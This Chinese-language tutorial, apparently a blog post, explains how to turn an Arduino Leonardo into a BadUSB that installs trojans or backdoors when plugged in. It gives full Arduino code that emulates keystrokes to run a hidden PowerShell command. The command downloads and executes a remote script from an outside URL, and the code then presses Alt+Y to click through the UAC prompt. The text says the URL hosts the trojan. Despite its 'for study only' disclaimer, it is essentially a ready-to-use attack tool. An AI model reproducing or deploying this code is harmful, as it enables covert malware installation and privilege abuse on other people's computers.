基于arduino leonardo的badusb

基于arduino leonardo制作的badusb,可插入U盘自动下载网站木马程序,后门等,仅供学习参考,勿作他用!

准备材料如下:

1.一块arduino的板子(型号只能是 arduino uno和arduino leonardo )

2.装有Arduino IDE的电脑

3.一个域名和空间

1.我们先连接上arduino的这块板子,再进入设备管理器,然后找到端口。

(1)

2.打开arduino IDE,配置好板子和电脑的连接。

     1.工具->版->选择“Arduino Leonardo”

      2.工具->Port->选择COM*(此COM是步骤1中的)

(2)

现在可以看到IDE右下角出现“Arduino Leonardo on COM*

(3)

3.写入代码,完成后,按左上角对号键编译代码,按右箭头完成代码上传。

(4)

代码如下:

#include

void setup()

{

delay(5000);

Keyboard.press(KEY_LEFT_CTRL);

Keyboard.press(KEY_ESC);

Keyboard.releaseAll();

delay(500);

Keyboard.print("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://www.cdxy.me/main.ps1');");

Keyboard.press(KEY_LEFT_CTRL);

Keyboard.press(KEY_LEFT_SHIFT);

Keyboard.press(KEY_RETURN);

Keyboard.releaseAll();

delay(2500);

Keyboard.press(KEY_LEFT_ALT);

Keyboard.press('y');

Keyboard.releaseAll();

delay(1500);

}

void loop()

{

}

代码解释:

插入后等待五秒,

按下ctrl+esc,(作用:在任何界面打开开始菜单)

等待半秒,

模拟输入一个字符串,并回车执行(作用:在开始菜单执行命令)

等待2.5秒,更改焦点,模拟键盘输入y(作用:绕过uac,得到系统许可)

此时,badusb就做好了,重新插拔设备,用win+R快捷键,会看到下图,说明完成了。

(5)

代码中,有一段网址,这个网址是存放木马或者要攻击代码的,需要自己去存放,后续再介绍。

你可能感兴趣的:(基于arduino leonardo的badusb)